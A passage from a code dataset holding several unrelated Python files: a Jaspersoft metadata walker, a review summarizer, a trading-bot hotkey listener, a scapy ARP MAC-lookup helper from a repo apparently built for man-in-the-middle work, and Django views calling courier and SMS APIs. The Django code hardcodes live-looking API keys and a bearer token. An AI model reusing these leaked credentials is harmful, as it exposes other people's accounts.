root_tag.find(Common.ADHOC_TOPIC_TAG) >= 0 or root_tag.find(Common.ADHOC_VIEW_TAG) >= 0 or root_tag.find(Common.REPORT_TAG) >= 0:\n return True\n else:\n return False\n \n def checkDatasource(self, root):\n if root.tag.find(self.common.DOMAIN_METADATA_TAG) >= 0:\n if root[Common.ID_NODE_INDEX].text.find(self.domain_id) >= 0:\n return True\n else:\n return False\n else:\n # check parent\n for child in root.xpath(Common.REPO_PATH_SEPARATOR + Common.REPO_PATH_SEPARATOR + Common.DATA_SOURCE + Common.REPO_PATH_SEPARATOR + 'uri'):\n with open(self.resources_folder + child.text + '.xml') as h:\n metadata_xml = h.read()\n metadata_tuple = self.common.removeDeclarationNode(metadata_xml)\n metadata_root = etree.fromstring(metadata_tuple[1])\n return self.checkDatasource(metadata_root)\n \n def walk(self, dmmHelper, log):\n self.walk2(folderpath=dmmHelper.folderpath, domain_id=dmmHelper.domain_id, fieldname=dmmHelper.fieldname, newfieldname=dmmHelper.newfieldname, newdbcolname=dmmHelper.newdbcolname, log=log)\n \n def walk2(self, folderpath, domain_id, fieldname, newfieldname, newdbcolname, log):\n self.domain_id = domain_id\n for root, _, files in os.walk(folderpath, topdown=True):\n for filename in files:\n if filename.find(Common.PROPERTIES_EXT) == -1:\n xml_file = None\n filepath = os.path.join(root, filename)\n log.info('Inspecting file: ' + filepath)\n if self.resources_folder is None and str(root).find(Common.RESOURCES_FOLDER) > -1:\n self.resources_folder = str(root)[:str(root).find(Common.RESOURCES_FOLDER) + len(Common.RESOURCES_FOLDER)]\n with open(filepath) as h:\n try:\n xml_file = h.read()\n except UnicodeDecodeError:\n log.debug('Ignoring non-text file: ' + filepath)\n if xml_file != None:\n xml_tuple = self.common.removeDeclarationNode(xml_string=xml_file)\n root_node = None\n try:\n root_node = etree.fromstring(xml_tuple[1])\n except etree.XMLSyntaxError:\n log.debug('Ignoring non-XML file: ' + filepath)\n if root_node != None:\n root_tag = root_node.tag\n if self.checkRootNodeTag(root_tag):\n id_value = root_node[Common.ID_NODE_INDEX]\n id_name = id_value.text\n if root_tag.find(Common.DOMAIN_METADATA_TAG) >= 0 and id_name == domain_id:\n log.info('Processing domain: ' + id_name)\n domain_schemafile = self.findDomainSchemaFile(metadata_filename=filepath, log=log)\n if domain_schemafile is not None:\n self.domainAction.removeOrRenameField(filename=domain_schemafile, fieldname=fieldname, newfieldname=newfieldname, newdbcolname=newdbcolname, log=log)\n elif root_tag.find(Common.ADHOC_TOPIC_TAG) >= 0:\n log.info('Processing Ad Hoc Topic: ' + id_name)\n self.findAdhocTopicFiles(metadata_filename=filepath, adhoc_topic_id=id_name, log=log)\n elif root_tag.find(Common.ADHOC_VIEW_TAG) >= 0:\n log.info('Processing Ad Hoc View: ' + id_name)\n if self.findAdhocViewFiles(metadata_filename=filepath, adhoc_view_id=id_name, log=log):\n self.adhocAction.removeRenameInputControlInMetadataFile(metadata_filename=filepath, fieldname=fieldname, newfieldname=newfieldname, log=log)\n elif root_tag.find(Common.REPORT_TAG) >= 0:\n log.info('Processing Report: ' + id_name)\n if self.findReportFiles(metadata_filename=filepath, report_id=id_name, log=log):\n # check metadata for input control(s) if report is static\n self.reportAction.removeRenameInputControlInMetadataFile(metadata_filename=filepath, fieldname=fieldname, log=log)\n self.processFiles(fieldname, newfieldname, log)\n \n def processFiles(self, fieldname, newfieldname, log):\n for files in self.adhoc_topic_files_list:\n self.adhocAction.removeRenameField(files[0], files[1], fieldname, newfieldname, log)\n for files in self.adhoc_view_files_list:\n self.adhocAction.removeRenameField(files[0], files[1], fieldname, newfieldname, log)\n for files in self.report_list:\n self.reportAction.removeRenameField(files[0], files[1], fieldname, newfieldname, log)","repo_name":"spark-jaspersoft/Domain-Metadata-Modifier","sub_path":"metadata/FileFinder.py","file_name":"FileFinder.py","file_ext":"py","file_size_in_byte":13782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43666188376","text":"import heapq\nimport time\nfrom typing import List\nimport numpy as np\nimport nltk\nfrom summarize.doc2vec import Doc2VecModel\n\ntry:\n nltk.data.find('tokenizers/punkt')\nexcept LookupError:\n nltk.download('punkt')\n\n\ndef jaccard_index(s: str, t: str) -> float:\n \"\"\"\n Implements word-wise Jaccard index (size of intersection / size of union)\n :param s: one string\n :param t: another string\n :return: Jaccard index, a float in [0, 1]\n \"\"\"\n s_words = set(nltk.tokenize.word_tokenize(s))\n t_words = set(nltk.tokenize.word_tokenize(t))\n intersection = s_words.intersection(t_words)\n union = s_words.union(t_words)\n return len(intersection) / len(union)\n\n\ndef cost_func(document: str) -> int:\n return len(document)\n\n\nclass Summarizer:\n \"\"\"\n Overview:\n An extractive summarize that uses a lazy greedy algorithm with a max heap to efficiently find the most\n semantically representative documents from a large corpus of documents.\n\n Example usage:\n summarize = Summarizer(['hi there', 'hello how are you'], sim_metric='doc2vec')\n res = summarize.summarize(budget=0.1) # returns document no longer than 10% of total length\n\n References:\n 1. Lin, Hui, and Jeff Bilmes. \"Multi-document summarization via budgeted maximization of submodular functions.\"\n Human Language Technologies: The 2010 Annual Conference of the North American Chapter of the Association for\n Computational Linguistics. 2010.\n 2. homes.cs.washington.edu/~marcotcr/blog/\n \"\"\"\n\n def __init__(self, documents: List[str], sim_metric: str = \"jaccard\"):\n \"\"\"\n :param documents: list of cleaned text documents\n :param sim_metric: similarity metric, currently available: \"jaccard\", \"doc2vec\"\n \"\"\"\n self.documents = documents\n\n # Gensim's doc2vec will be significant slower and more interesting than jaccard\n if sim_metric == \"doc2vec\":\n d2v = Doc2VecModel()\n d2v.train_model(documents)\n self.sim_func = d2v.pairwise_similarity\n elif sim_metric == \"jaccard\":\n self.sim_func = jaccard_index\n else:\n assert sim_metric in [\"doc2vec\", \"jaccard\"]\n\n def _compute_pairwise_similarities(self) -> np.ndarray:\n \"\"\"\n Computes pairwise document similarity using the specified similarity metric\n :return: n x n numpy array, where n is the number of documents\n \"\"\"\n n = len(self.documents)\n sim_matrix = np.zeros((n, n))\n for i in range(n):\n for j in range(i, n):\n sim = self.sim_func(self.documents[i], self.documents[j])\n sim_matrix[i, j] = sim\n sim_matrix[j, i] = sim\n return sim_matrix\n\n def summarize(self, budget, r: float = 0.3, lambda_: float = 1.0) -> List[str]:\n \"\"\"\n Lazy greedy algorithm, refer to reference 1.\n :param lambda_: weight for redundancy; another component is representativeness)\n :param r: scaling factor for cost; higher r favors less costly documents\n :return: list of document strings\n \"\"\"\n\n # Accepts budget as a percentage of total cost\n if 0 < budget < 1:\n budget = int(budget * sum(cost_func(x) for x in self.documents))\n else:\n budget = budget\n print(\"Settings: budget={}, r={}, lambda={}\".format(budget, r, lambda_))\n\n # Computes gain in objective function with new addition\n def _gain(item, f, o, c):\n return (f(o.union({item})) - f(o)) / c[item] ** r\n\n # Computes sum of cut (representativeness) and weighted redundacy\n def _f(s):\n cut = sum(sim[i, j] for i in (set(docs) - set(s)) for j in set(s))\n red = sum([sum([sim[i, j] for i in (set(s) - {j})]) for j in set(s)])\n return cut - lambda_ * red\n\n print(\"Starting summarization...\")\n start = time.time()\n\n n = len(self.documents)\n sim = self._compute_pairwise_similarities()\n docs = list(range(n))\n candidates = list(range(n))\n output = set({})\n\n costs = {i: cost_func(review) for i, review in enumerate(self.documents)}\n heap = [(-_gain(x, _f, output, costs), x) for x in candidates]\n heapq.heapify(heap)\n\n while candidates:\n k = None\n while k is None:\n prev_gain, head = heapq.heappop(heap)\n head_gain = -_gain(head, _f, output, costs)\n if len(heap) == 0 or head_gain <= heapq.nsmallest(1, heap)[0][0]:\n k = head\n else:\n heapq.heappush(heap, (head_gain, head))\n if (\n sum([costs[i] for i in output]) + costs[k] <= budget\n and _gain(k, _f, output, costs) >= 0\n ):\n output = output.union({k})\n candidates.remove(k)\n\n v_star = max([d for d in docs if costs[d] <= budget], key=lambda d: _f({d}))\n if _f({v_star}) >= _f(output):\n output = {v_star}\n\n print(\"Done. Took {:.1f}s.\\n\".format(time.time() - start))\n return [self.documents[doc] for doc in output]\n","repo_name":"TheShiya/yelp-review-summarizer","sub_path":"summarize/summarizer.py","file_name":"summarizer.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"70649127308","text":"from pynput.mouse import Listener as MouseListener\nfrom pynput.keyboard import Listener as KeyboardListener\nfrom pynput import keyboard\nimport lib_v2_globals as g\nimport lib_v2_ohlc as o\nimport threading\nfrom colorama import init\nfrom colorama import Fore, Back, Style\n\ninit()\n# + ───────────────────────────────────────────────────────────────────────────────────────\n# + setup the keyboarrd event listener\n# + ───────────────────────────────────────────────────────────────────────────────────────\n# ! https://pynput.readthedocs.io/en/latest/keyboard.html\n\nUP_COMBO = {keyboard.Key.alt, keyboard.Key.up}\nDN_COMBO = {keyboard.Key.alt, keyboard.Key.down}\n# LEFT_COMBO = {keyboard.Key.alt, keyboard.Key.left}\n# RIGHT_COMBO = {keyboard.Key.alt, keyboard.Key.right}\nKILL_COMBO = {keyboard.Key.alt, keyboard.Key.end}\nTEXTBOX_COMBO = {keyboard.Key.alt, keyboard.Key.delete}\nVERBOSE_COMBO = {keyboard.Key.alt, keyboard.Key.home}\nBUY_COMBO = {keyboard.Key.alt, keyboard.KeyCode.from_char('b')}\nSELL_COMBO = {keyboard.Key.alt, keyboard.KeyCode.from_char('s')}\ncurrent = set()\n\ndef on_press(key):\n # print(key)\n if key in UP_COMBO:\n current.add(key)\n if all(k in current for k in UP_COMBO):\n g.interval = g.interval + 500\n print(f\"Pausing: {int(g.interval/100)/10} sec... \",end=\"\\r\")\n\n if key in DN_COMBO:\n current.add(key)\n if all(k in current for k in DN_COMBO):\n if g.display:\n g.display = False\n else:\n g.display = True\n # print(f\"DISPLAY: {g.display}\")\n\n if key in KILL_COMBO:\n current.add(key)\n if all(k in current for k in KILL_COMBO):\n o.save_results()\n print(\"1\")\n g.time_to_die = True\n print(f\"Shutting down...\")\n\n if key in TEXTBOX_COMBO:\n current.add(key)\n if all(k in current for k in TEXTBOX_COMBO):\n if g.show_textbox:\n g.show_textbox = False\n else:\n g.show_textbox = True\n # print(f\"TEXTBOX: {g.show_textbox}\")\n\n if key in VERBOSE_COMBO:\n current.add(key)\n if all(k in current for k in VERBOSE_COMBO):\n if not g.verbose:\n print(f\"Verbose... \",end=\"\\r\")\n g.verbose = True\n else:\n print(f\"Quiet... \",end=\"\\r\")\n g.verbose = False\n\n if key in BUY_COMBO:\n current.add(key)\n if all(k in current for k in BUY_COMBO):\n print(f\"Sent BUY Signal... \",end=\"\\r\")\n g.external_buy_signal = True\n\n if key in SELL_COMBO:\n current.add(key)\n if all(k in current for k in SELL_COMBO):\n print(f\"Sent SELL Signal... \",end=\"\\r\")\n g.external_sell_signal = True\n\n\n # if key in LEFT_COMBO:\n # current.add(key)\n # if all(k in current for k in LEFT_COMBO):\n # print(f\"Jumping back 20 ticks... \",end=\"\\r\")\n # g.gcounter = g.gcounter - 20\n #\n # if key in RIGHT_COMBO:\n # current.add(key)\n # if all(k in current for k in RIGHT_COMBO):\n # print(f\"Jumping forward 20 ticks... \",end=\"\\r\")\n # g.gcounter = g.gcounter + 20\n\n\ndef on_release(key):\n try:\n current.remove(key)\n except KeyError:\n pass\n\n# + ───────────────────────────────────────────────────────────────────────────────────────\n# + this is for the mouse portion\n# + ───────────────────────────────────────────────────────────────────────────────────────\n# + def on_move(x, y):\n# + print(\"Mouse moved to ({0}, {1})\".format(x, y))\n# + \n# + def on_click(x, y, button, pressed):\n# + if pressed:\n# + print('Mouse clicked at ({0}, {1}) with {2}'.format(x, y, button))\n# + else:\n# + print('Mouse released at ({0}, {1}) with {2}'.format(x, y, button))\n# + \n# + def on_scroll(x, y, dx, dy):\n# + print('Mouse scrolled at ({0}, {1})({2}, {3})'.format(x, y, dx, dy))\n\n\n\n\n# + ───────────────────────────────────────────────────────────────────────────────────────\n# + clear out any old data in the state.json file\n# + ───────────────────────────────────────────────────────────────────────────────────────\n\nkeyboard_listener = KeyboardListener(on_press=on_press, on_release=on_release)\n# + mouse_listener = MouseListener(on_move=on_move, on_click=on_click, on_scroll=on_scroll)\n\n# + # + * Start the threads and join them so the script doesn't end early\n# + keyboard_listener.start()\n# + mouse_listener.start()\n# + keyboard_listener.join()\n# + mouse_listener.join()\n\n","repo_name":"baardev/v2bot","sub_path":"lib_v2_listener.py","file_name":"lib_v2_listener.py","file_ext":"py","file_size_in_byte":5585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"15262655914","text":"import scapy.all as scapy\r\nimport re\r\nimport time\r\ndef ip(user_ip):\r\n target=scapy.ARP(pdst=user_ip)\r\n target_mac=scapy.Ether(dst=\"ff:ff:ff:ff:ff:ff\")\r\n ip_mac= target_mac / target\r\n answered=scapy.srp(ip_mac,timeout=10,verbose=False)[0]\r\n return answered[0][1].hwsrc\r\n\r\ndef check(target_ip):\r\n regex = '''^(25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\\.( \r\n 25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\\.( \r\n 25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)\\.( \r\n 25[0-5]|2[0-4][0-9]|[0-1]?[0-9][0-9]?)$'''\r\n if not target_ip:\r\n print(\"no ip provided\")\r\n return 0\r\n if re.search(regex,target_ip):\r\n print(\"ip accepted\")\r\n return target_ip\r\n else:\r\n print(\"bad ip input try again\")\r\n return 0\r\n\r\ndef main():\r\n target_ip=input(\">>\")\r\n target_ip=target_ip.strip()\r\n\r\n target_ip1=check(target_ip)\r\n while(target_ip1==0):\r\n target_ip=input(\">>\").strip()\r\n target_ip1 = check(target_ip)\r\n return target_ip\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mpandey67/middle-man","sub_path":"get_ip.py","file_name":"get_ip.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15621130869","text":"\"\"\"\n BEGIN-HEADER\n \n Name: Mohammad Shahriar Hossain\n Student-ID: 1724709\n\n List any resources you used below (eg. urls, name of the algorithm from our code archive).\n Remember, you are permitted to get help with general concepts about algorithms\n and problem solving, but you are not permitted to hunt down solutions to\n these particular problems!\n\n no resources, used bottom-up dynamic programming approach\n\n List any classmate you discussed the problem with. Remember, you can only\n have high-level verbal discussions. No code should be shared, developed,\n or even looked at in these chats. No formulas or pseudocode should be\n written or shared in these chats.\n\n I did not discuss this exercise with anyone.\n\n By submitting this code, you are agreeing that you have solved in accordance\n with the collaboration policy in CMPUT 303/403.\n\n END-HEADER\n\"\"\"\n\nn, a, b, c = map(int, input().split())\nsol = []\nfor _ in range(n + 1):\n sol.append([0, 0, 0, 0])\n\nsol[1][1] = a\nsol[1][2] = b\nsol[1][3] = c\nmod = 1000000007\nfor i in range(2, n + 1):\n sol[i][1] = (sol[i-1][2]+sol[i-1][3])*a % mod\n sol[i][2] = (sol[i-1][1]+sol[i-1][3])*b % mod\n sol[i][3] = (sol[i-1][1]+sol[i-1][2])*c % mod\n \nprint(sum(sol[n]) % mod)","repo_name":"hossain-shahriar/CMPUT303","sub_path":"Week4/variedamusements.py","file_name":"variedamusements.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31006327626","text":"\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.http import HttpResponseRedirect, HttpResponse, FileResponse\nfrom .NPModels import *\nfrom .forms import *\nimport json\nfrom django.contrib import messages\nimport requests\nfrom django_htmx.http import trigger_client_event\n\n\ndef sendTurboSMSRequest(text, recipients):\n auth_token = 'b38b9b168929ecd6568ceede5432f2cd7b12d1c8'\n hed = {'Authorization': 'Bearer ' + auth_token}\n data = {\n \"recipients\": recipients,\n \"sms\": {\n \"sender\": \"DIAMEDIX\",\n \"text\": text,\n }\n }\n\n url = 'https://api.turbosms.ua/message/send.json'\n response = requests.post(url, json=data, headers=hed)\n print(response)\n print(response.json())\n\n\ndef httpRequest(request):\n\n param = {'apiKey': '99f738524ca3320ece4b43b10f4181b1',\n 'modelName': 'Counterparty',\n 'calledMethod': 'getCounterpartyContactPersons',\n 'methodProperties': {'Ref': '3b0e7317-2a6b-11eb-8513-b88303659df5'}}\n\n getListOfCitiesParams = {\n \"apiKey\": \"99f738524ca3320ece4b43b10f4181b1\",\n \"modelName\": \"Address\",\n \"calledMethod\": \"getCities\",\n \"methodProperties\": {\n \"Page\" : \"0\"\n }\n }\n user = request.user\n data = requests.get('https://api.novaposhta.ua/v2.0/json/', data=json.dumps(param)).json()\n #\n # for obj in data[\"data\"]:\n # if obj[\"Description\"] == 'Степанов Олександр Вячеславович':\n # print(obj[\"Ref\"], obj[\"Phones\"])\n # user.np_contact_sender_ref = obj[\"Ref\"]\n # user.mobNumber = obj[\"Phones\"]\n # user.save()\n\n return render(request, \"supplies/http_response.html\", {'data': data[\"data\"]})\n\n\ndef nova_poshta_registers(request):\n registers = RegisterNPInfo.objects.all().order_by('-id')\n return render(request, 'supplies/nova_poshta_registers.html', {'registers': registers})\n\n\n\ndef get_register_for_orders(request):\n cheked = False\n if request.method == 'POST':\n selected_orders = request.POST.getlist('register_print_buttons')\n cheked = len(selected_orders) > 0\n return render(request, 'partials/register_print_orders_chekbox_buttons.html', {'cheked': cheked})\n\ndef get_print_xls_for_preorders(request):\n cheked = False\n if request.method == 'POST':\n selected_orders = request.POST.getlist('xls_preorder_print_buttons')\n cheked = len(selected_orders) > 0\n print(selected_orders)\n return render(request, 'partials/xls_preorders_print_buttons.html', {'cheked': cheked})\n\n\ndef create_np_document_for_order(request, order_id):\n\n order = Order.objects.get(id=order_id)\n user = request.user\n for_place = order.place\n deliveryInfo = for_place.address_NP\n deliveryType = deliveryInfo.deliveryType\n sender_places = SenderNPPlaceInfo.objects.filter(for_user=request.user)\n title = f'Cформувати інтернет-документ для:\\n- Замовлення №{order.id} \\n- {for_place.name}, {for_place.city_ref.name}'\n inputForm = CreateNPParselForm(instance=order)\n placeForm = ClientFormForParcel(instance=for_place)\n\n inputForm.fields['sender_np_place'].queryset = sender_places\n placeForm.fields['worker_NP'].queryset = for_place.workers\n placeForm.fields['address_NP'].queryset = for_place.delivery_places\n\n try:\n sendplace = sender_places.get(id=user.np_last_choosed_delivery_place_id)\n except:\n sendplace = None\n inputForm.fields['sender_np_place'].initial = sendplace\n placeForm.fields['worker_NP'].initial = for_place.worker_NP\n placeForm.fields['address_NP'].initial = for_place.address_NP\n\n\n if request.method == 'POST':\n inputForm = CreateNPParselForm(request.POST, instance=order)\n placeForm = ClientFormForParcel(request.POST, instance=for_place)\n print(inputForm.is_valid())\n if inputForm.is_valid() and placeForm.is_valid():\n dateSend = inputForm.cleaned_data['dateDelivery'].strftime('%d.%m.%Y')\n sender_np_place = inputForm.cleaned_data['sender_np_place']\n payment_money_type = inputForm.cleaned_data['payment_money_type']\n payment_user_type = inputForm.cleaned_data['payment_user_type']\n width = inputForm.cleaned_data['width']\n length = inputForm.cleaned_data['length']\n height = inputForm.cleaned_data['height']\n weight = inputForm.cleaned_data['weight']\n seatsAmount = inputForm.cleaned_data['seatsAmount']\n description = inputForm.cleaned_data['description']\n cost = inputForm.cleaned_data['cost']\n sender_ref = \"3b0e7317-2a6b-11eb-8513-b88303659df5\"\n\n volumeGeneral = float(width / 100) * float(length / 100) * float(height / 100)\n\n sender_place = inputForm.cleaned_data['sender_np_place']\n recipient_address = placeForm.cleaned_data['address_NP']\n recipient_worker = placeForm.cleaned_data['worker_NP']\n\n\n\n params = {\n \"apiKey\": \"99f738524ca3320ece4b43b10f4181b1\",\n \"modelName\": \"InternetDocument\",\n \"calledMethod\": \"save\",\n \"methodProperties\": {\n \"PayerType\": payment_user_type,\n \"PaymentMethod\": payment_money_type,\n \"DateTime\": dateSend,\n \"CargoType\": \"Parcel\",\n \"VolumeGeneral\": str(volumeGeneral),\n \"Weight\": str(weight),\n \"ServiceType\": f'{sender_place.deliveryType}{deliveryType}',\n \"SeatsAmount\": str(seatsAmount),\n \"Description\": description,\n \"Cost\": str(cost),\n \"CitySender\": sender_np_place.city_ref_NP,\n \"Sender\": sender_ref,\n \"SenderAddress\": sender_np_place.address_ref_NP,\n \"ContactSender\": request.user.np_contact_sender_ref,\n \"SendersPhone\": request.user.mobNumber,\n \"CityRecipient\": recipient_address.city_ref_NP,\n \"Recipient\": recipient_worker.ref_counterparty_NP,\n \"RecipientAddress\": recipient_address.address_ref_NP,\n \"ContactRecipient\": recipient_worker.ref_NP,\n \"RecipientsPhone\": recipient_worker.telNumber\n }\n }\n data = requests.get('https://api.novaposhta.ua/v2.0/json/', data=json.dumps(params)).json()\n print(data)\n workr_postition = ''\n if recipient_worker.position:\n workr_postition = recipient_worker.position\n\n worker_name = f'{recipient_worker}, {workr_postition}, телефон: {recipient_worker.telNumber}'\n address_name = f'{recipient_address.cityName}, {recipient_address.addressName}'\n\n if data[\"success\"] is True and data[\"data\"][0] is not None:\n list = data[\"data\"][0]\n ref = list[\"Ref\"]\n cost = list[\"CostOnSite\"]\n estimated_date = list[\"EstimatedDeliveryDate\"]\n id_number = int(list[\"IntDocNumber\"])\n detailInfo = NPDeliveryCreatedDetailInfo(document_id=id_number,\n ref=ref, cost_on_site=cost,\n estimated_time_delivery=estimated_date,\n recipient_worker=worker_name,\n recipient_address=address_name,\n for_order=order,\n userCreated=user)\n detailInfo.save()\n user.np_last_choosed_delivery_place_id = sender_place.id\n user.save()\n print(list)\n if 'save_and_print' in request.POST:\n url = f'https://my.novaposhta.ua/orders/printMarking85x85/orders[]/{ref}/type/pdf8/apiKey/99f738524ca3320ece4b43b10f4181b1'\n return redirect(url)\n elif 'save_and_add' in request.POST:\n messages.info(request, \"Add Succesfully\")\n return redirect(f'/create-np_document-for-order/{order_id}')\n else:\n next = request.POST.get('next')\n return redirect('/orders')\n\n elif data[\"success\"] is False and data[\"errors\"] is not None:\n errors = data[\"errors\"]\n print(errors)\n for error in errors:\n messages.info(request, error)\n return render(request, 'supplies/create_new_np_order_doc.html', {'inputForm': inputForm})\n\n return render(request, 'supplies/create_new_np_order_doc.html', {'inputForm': inputForm, 'placeForm': placeForm, 'title': title})\n\n\ndef address_getCities(request):\n\n getListOfCitiesParams = {\n \"apiKey\": \"99f738524ca3320ece4b43b10f4181b1\",\n \"modelName\": \"Address\",\n \"calledMethod\": \"getCities\",\n \"methodProperties\": {\n \"Page\" : \"0\"\n }\n }\n\n npCities = NPCity.objects.all()\n npCities.delete()\n\n cityData = requests.get('https://api.novaposhta.ua/v2.0/json/', data=json.dumps(getListOfCitiesParams)).json()\n cityDataCount = cityData[\"data\"]\n cities = []\n for city in cityDataCount:\n cityName = city[\"Description\"]\n ref = city[\"Ref\"]\n area = city[\"Area\"]\n settlementType = city[\"SettlementType\"]\n cityID = city[\"CityID\"]\n settlementTypeDescription = city[\"SettlementTypeDescription\"]\n areaDescription = city[\"AreaDescription\"]\n newCity = NPCity(name=cityName, ref=ref, area=area, settlementType=settlementType, cityID=cityID, settlementTypeDescription=settlementTypeDescription, areaDescription=areaDescription)\n newCity.save()\n\n return render(request, \"supplies/http_response.html\", {'data': \"Updated\"})\n\n\ndef search_city(request):\n search_text = request.POST.get('search')\n results = None\n if search_text != \"\":\n results = NPCity.objects.filter(name__istartswith=search_text.capitalize())\n context = {\"results\": results}\n return render(request, 'partials/search-city-results.html', context)\n\ndef search_street(request):\n\n search_text = request.POST.get('search')\n cityRef = request.POST.get('np-cityref')\n params = {\n \"apiKey\": \"99f738524ca3320ece4b43b10f4181b1\",\n \"modelName\": \"Address\",\n \"calledMethod\": \"getStreet\",\n \"methodProperties\": {\n \"CityRef\" : cityRef,\n \"FindByString\" : search_text.capitalize(),\n \"Page\" : \"1\",\n \"Limit\" : \"25\"\n }\n }\n\n data = requests.get('https://api.novaposhta.ua/v2.0/json/', data=json.dumps(params)).json()\n context = {\"results\": data[\"data\"]}\n\n print(cityRef)\n\n return render(request, 'partials/search-streets-results.html', context)\n\n\ndef search_warehouse(request):\n search_text = request.POST.get('search')\n cityRef = request.POST.get('np-cityref')\n\n params = {\n \"apiKey\": \"99f738524ca3320ece4b43b10f4181b1\",\n \"modelName\": \"Address\",\n \"calledMethod\": \"getWarehouses\",\n \"methodProperties\": {\n \"CityRef\": cityRef,\n \"Page\": \"1\",\n \"Limit\": \"25\",\n \"Language\": \"UA\",\n \"WarehouseId\": search_text.capitalize()\n }\n }\n data = requests.get('https://api.novaposhta.ua/v2.0/json/', data=json.dumps(params)).json()\n print(\"WAREHOUSES\")\n print(data['data'])\n context = {\"results\": data[\"data\"]}\n return render(request, 'partials/search-streets-results.html', context)\n\n\ndef choosed_city(request):\n cityName = request.POST.get('cityName')\n cityRef = request.POST.get('cityRef')\n cityType = request.POST.get('cityType')\n recipientType = request.POST.get('recipientType')\n if recipientType == 'Warehouse':\n renderPage = 'partials/choosed-city-and-warehouse.html'\n else:\n renderPage = 'partials/choosed-city.html'\n\n return render(request, renderPage, {'cityName': cityName, 'cityRef': cityRef, 'cityType': cityType})\n\n\ndef choosed_street(request):\n streetName = request.POST.get('streetName')\n streetType = request.POST.get('streetType')\n streetRef = request.POST.get('streetRef')\n\n recipientType = request.POST.get('recipientType')\n\n print(\"--------------------------------------\")\n print(streetName)\n print(streetType)\n print(streetRef)\n print(recipientType)\n print(\"--------------------------------------\")\n if recipientType == 'Warehouse':\n ifStreet = False\n else:\n ifStreet = True\n return render(request, 'partials/choosed-street.html', {'streetName': streetName, 'streetType': streetType, 'streetRef': streetRef, 'street': ifStreet})\n\ndef radioAddClientTONP(request):\n\n isCheked = request.POST.get('checkIfAddToNP')\n isShow = isCheked\n orgRefExistJson = request.POST.get('orgRefExist')\n orgExist = bool(orgRefExistJson == 'True')\n\n return render(request, 'partials/radioButtonsWorkerTypeGroup.html', {'cheked': isShow, 'orgRefExist': orgExist})\n\n\n\ndef np_delivery_detail_info_for_order(request, order_id):\n\n order = Order.objects.get(id=order_id)\n userCreated = order.userCreated\n documentsIdList = order.npdeliverycreateddetailinfo_set.all()\n documents = []\n userCreatedList = {}\n\n noMoreUpdate = False\n\n if order.statusnpparselfromdoucmentid_set.exists():\n statusCode = int(order.statusnpparselfromdoucmentid_set.first().status_code)\n print(statusCode)\n noMoreUpdate = statusCode == 2 or statusCode == 9\n\n if not noMoreUpdate:\n for docu in documentsIdList:\n documents.append({'DocumentNumber': docu.document_id,\n 'Phone': docu.userCreated.mobNumber})\n userCreatedList[docu.document_id] = docu.userCreated\n\n objList = []\n\n params = {\n \"apiKey\": \"99f738524ca3320ece4b43b10f4181b1\",\n \"modelName\": \"TrackingDocument\",\n \"calledMethod\": \"getStatusDocuments\",\n \"methodProperties\": {\n \"Documents\": documents\n }\n }\n data = requests.get('https://api.novaposhta.ua/v2.0/json/', data=json.dumps(params)).json()\n print(data)\n status_parsel_code = 1\n if data[\"data\"]:\n for obj in data[\"data\"]:\n number = obj[\"Number\"]\n user_who_created_document = userCreatedList[number]\n\n status_code = obj[\"StatusCode\"]\n counterpartyRecipientDescription = obj[\"CounterpartyRecipientDescription\"]\n documentWeight = obj[\"DocumentWeight\"]\n factualWeight = obj[\"FactualWeight\"]\n payerType = obj[\"PayerType\"]\n seatsAmount = obj[\"SeatsAmount\"]\n phoneRecipient = obj[\"PhoneRecipient\"]\n scheduledDeliveryDate = obj[\"ScheduledDeliveryDate\"]\n if scheduledDeliveryDate != '':\n scheduledDeliveryDate_obj = datetime.datetime.strptime(scheduledDeliveryDate, '%d-%m-%Y %H:%M:%S')\n scheduledDeliveryDate = scheduledDeliveryDate_obj.strftime('%d.%m.%Y %H:%M')\n documentCost = obj[\"DocumentCost\"]\n paymentMethod = obj[\"PaymentMethod\"]\n warehouseSender = f'{user_who_created_document.first_name}, {user_who_created_document.last_name}, {obj[\"WarehouseSender\"]}'\n dateCreated = obj[\"DateCreated\"]\n dateCreated_obj = datetime.datetime.strptime(dateCreated, '%d-%m-%Y %H:%M:%S')\n dateCreated = dateCreated_obj.strftime('%d.%m.%Y %H:%M')\n dateScan = obj[\"DateScan\"]\n if dateScan != '':\n dateScan_obj = datetime.datetime.strptime(dateScan, '%H:%M %d.%m.%Y')\n dateScan = dateScan_obj.strftime('%d.%m.%Y %H:%M')\n\n actualDeliveryDate = obj[\"ActualDeliveryDate\"]\n if actualDeliveryDate != '':\n actualDeliveryDate_obj = datetime.datetime.strptime(actualDeliveryDate, '%Y-%m-%d %H:%M:%S')\n actualDeliveryDate = actualDeliveryDate_obj.strftime('%d.%m.%Y %H:%M')\n recipientDateTime = obj[\"RecipientDateTime\"]\n if recipientDateTime != '':\n recipientDateTime_obj = datetime.datetime.strptime(recipientDateTime, '%d.%m.%Y %H:%M:%S')\n recipientDateTime = recipientDateTime_obj.strftime('%d.%m.%Y %H:%M')\n\n recipientAddress = obj[\"RecipientAddress\"]\n recipientFullNameEW = obj[\"RecipientFullNameEW\"]\n cargoDescriptionString = obj[\"CargoDescriptionString\"]\n announcedPrice = obj[\"AnnouncedPrice\"]\n status = obj[\"Status\"]\n status_parsel_code = int(status_code)\n print(dateCreated)\n print(dateScan)\n try:\n status_parsel_model = Order.objects.get(id=order_id).statusnpparselfromdoucmentid_set.get(\n docNumber=number, for_order_id=order_id)\n status_parsel_model.status_desc = status\n status_parsel_model.status_code = status_code\n status_parsel_model.docNumber = number\n status_parsel_model.counterpartyRecipientDescription = counterpartyRecipientDescription\n status_parsel_model.documentWeight = 